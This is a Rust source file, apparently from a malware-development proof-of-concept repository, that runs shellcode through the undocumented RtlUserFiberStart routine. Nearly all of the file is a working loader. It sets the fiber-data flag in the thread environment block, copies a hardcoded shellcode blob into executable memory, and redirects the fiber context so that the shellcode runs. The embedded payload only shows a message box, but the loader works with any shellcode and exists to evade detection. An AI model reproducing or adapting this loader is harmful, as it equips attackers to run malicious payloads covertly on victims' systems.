mirror of
https://codeberg.org/smukx/Rust-for-Malware-Development
synced 2026-06-06 20:22:59 +00:00
28e7fac1d3
Rust-for-Malware-Development is an collection of proof of concepts with techniques and advanced evasion methods
140 lines
5.2 KiB
Rust
140 lines
5.2 KiB
Rust
/*
|
|
Shellcode exec using RtlUserFiberStart
|
|
By @5mukx
|
|
|
|
Reference used to make the structure :
|
|
* https://github.com/MSxDOS/ntapi/blob/master/src/winapi_local/um/winnt.rs
|
|
|
|
*/
|
|
|
|
use windows::{
|
|
Win32::{
|
|
Foundation::GetLastError,
|
|
System::{
|
|
LibraryLoader::{GetModuleHandleA, GetProcAddress},
|
|
Memory::{
|
|
GetProcessHeap, HEAP_FLAGS, HeapAlloc, HeapFree, MEM_COMMIT, MEM_RELEASE,
|
|
PAGE_EXECUTE_READWRITE, VirtualAlloc, VirtualFree,
|
|
},
|
|
},
|
|
},
|
|
core::{Error, Result, s},
|
|
};
|
|
|
|
use windows::Win32::System::Threading::TEB;
|
|
|
|
type RtlUserFiberStartFn = unsafe extern "system" fn() -> i32;
|
|
|
|
|
|
// msgbox shellcode
|
|
static SHELLCODE: &[u8] = &[
|
|
0xFC, 0x48, 0x81, 0xE4, 0xF0, 0xFF, 0xFF, 0xFF, 0xE8, 0xD0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41,
|
|
0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x3E, 0x48, 0x8B, 0x52,
|
|
0x18, 0x3E, 0x48, 0x8B, 0x52, 0x20, 0x3E, 0x48, 0x8B, 0x72, 0x50, 0x3E, 0x48, 0x0F, 0xB7, 0x4A,
|
|
0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1,
|
|
0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x3E, 0x48, 0x8B, 0x52, 0x20, 0x3E,
|
|
0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x3E, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0,
|
|
0x74, 0x6F, 0x48, 0x01, 0xD0, 0x50, 0x3E, 0x8B, 0x48, 0x18, 0x3E, 0x44, 0x8B, 0x40, 0x20, 0x49,
|
|
0x01, 0xD0, 0xE3, 0x5C, 0x48, 0xFF, 0xC9, 0x3E, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D,
|
|
0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75,
|
|
0xF1, 0x3E, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD6, 0x58, 0x3E, 0x44, 0x8B,
|
|
0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x3E, 0x41, 0x8B, 0x0C, 0x48, 0x3E, 0x44, 0x8B, 0x40, 0x1C,
|
|
0x49, 0x01, 0xD0, 0x3E, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E,
|
|
0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0,
|
|
0x58, 0x41, 0x59, 0x5A, 0x3E, 0x48, 0x8B, 0x12, 0xE9, 0x49, 0xFF, 0xFF, 0xFF, 0x5D, 0x3E, 0x48,
|
|
0x8D, 0x8D, 0x30, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x4C, 0x77, 0x26, 0x07, 0xFF, 0xD5, 0x49, 0xC7,
|
|
0xC1, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x48, 0x8D, 0x95, 0x0E, 0x01, 0x00, 0x00, 0x3E, 0x4C, 0x8D,
|
|
0x85, 0x24, 0x01, 0x00, 0x00, 0x48, 0x31, 0xC9, 0x41, 0xBA, 0x45, 0x83, 0x56, 0x07, 0xFF, 0xD5,
|
|
0x48, 0x31, 0xC9, 0x41, 0xBA, 0xF0, 0xB5, 0xA2, 0x56, 0xFF, 0xD5, 0x48, 0x65, 0x79, 0x20, 0x6D,
|
|
0x61, 0x6E, 0x2E, 0x20, 0x49, 0x74, 0x73, 0x20, 0x6D, 0x65, 0x20, 0x53, 0x6D, 0x75, 0x6B, 0x78,
|
|
0x00, 0x6B, 0x6E, 0x6F, 0x63, 0x6B, 0x2D, 0x6B, 0x6E, 0x6F, 0x63, 0x6B, 0x00, 0x75, 0x73, 0x65,
|
|
0x72, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00,
|
|
];
|
|
|
|
const TEB_FIBERDATA_PTR_OFFSET: usize = 0x20;
|
|
const FIBER_CONTEXT_RIP_OFFSET: usize = 0x0A8;
|
|
const HAS_FIBER_DATA_BIT: u8 = 0b100;
|
|
|
|
#[inline]
|
|
fn get_teb() -> *mut TEB {
|
|
#[cfg(target_arch = "x86_64")]
|
|
{
|
|
let teb: *mut TEB;
|
|
unsafe { std::arch::asm!("mov {}, gs:[0x30]", out(reg) teb) };
|
|
teb
|
|
}
|
|
#[cfg(target_arch = "x86")]
|
|
{
|
|
let teb: *mut TEB;
|
|
std::arch::asm!("mov {}, fs:[0x18]", out(reg) teb);
|
|
teb
|
|
}
|
|
}
|
|
|
|
fn main() -> Result<()> {
|
|
unsafe {
|
|
let ntdll = GetModuleHandleA(s!("ntdll"))?;
|
|
|
|
if ntdll.is_invalid() {
|
|
return Err(Error::from(GetLastError()));
|
|
}
|
|
|
|
let rtl_user_fiber_start = GetProcAddress(ntdll, s!("RtlUserFiberStart"))
|
|
.expect("[-] Failed to get RtlUserFiberStart addr");
|
|
|
|
let teb = get_teb();
|
|
|
|
if teb.is_null() {
|
|
return Err(windows::core::Error::from(GetLastError()));
|
|
}
|
|
|
|
// Set the has fiberdata bit in TEB flags
|
|
let teb_flags = (teb as *mut u8).add(TEB_FIBERDATA_PTR_OFFSET);
|
|
*teb_flags |= HAS_FIBER_DATA_BIT;
|
|
|
|
|
|
let addr = VirtualAlloc(None, SHELLCODE.len(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
|
|
if addr.is_null() {
|
|
return Err(windows::core::Error::from(GetLastError()));
|
|
}
|
|
|
|
std::ptr::copy_nonoverlapping(SHELLCODE.as_ptr(), addr as *mut u8, SHELLCODE.len());
|
|
|
|
// allocate fiber datas !
|
|
let fiber_data = HeapAlloc(GetProcessHeap()?, HEAP_FLAGS(0), 0x100);
|
|
|
|
if fiber_data.is_null() {
|
|
VirtualFree(addr, 0, MEM_RELEASE)?;
|
|
return Err(Error::from(GetLastError()));
|
|
}
|
|
|
|
// Set shellcode address at fiber context RIP offset
|
|
*(fiber_data as *mut *mut std::ffi::c_void).add(FIBER_CONTEXT_RIP_OFFSET / 8) = addr;
|
|
|
|
// set fiberdata ptr in TEB (GS:0x20)
|
|
#[cfg(target_arch = "x86_64")]
|
|
{
|
|
std::arch::asm!(
|
|
"mov gs:[0x20], {}",
|
|
in(reg) fiber_data,
|
|
options(nostack)
|
|
);
|
|
}
|
|
|
|
let rtl_user_fiber_start_fn: RtlUserFiberStartFn =
|
|
std::mem::transmute(rtl_user_fiber_start);
|
|
let status = rtl_user_fiber_start_fn();
|
|
|
|
HeapFree(GetProcessHeap()?, HEAP_FLAGS(0), Some(fiber_data))?;
|
|
|
|
VirtualFree(addr, 0, MEM_RELEASE)?;
|
|
|
|
if status != 0 {
|
|
return Err(windows::core::Error::from(GetLastError()));
|
|
}
|
|
}
|
|
|
|
Ok(())
|
|
}
|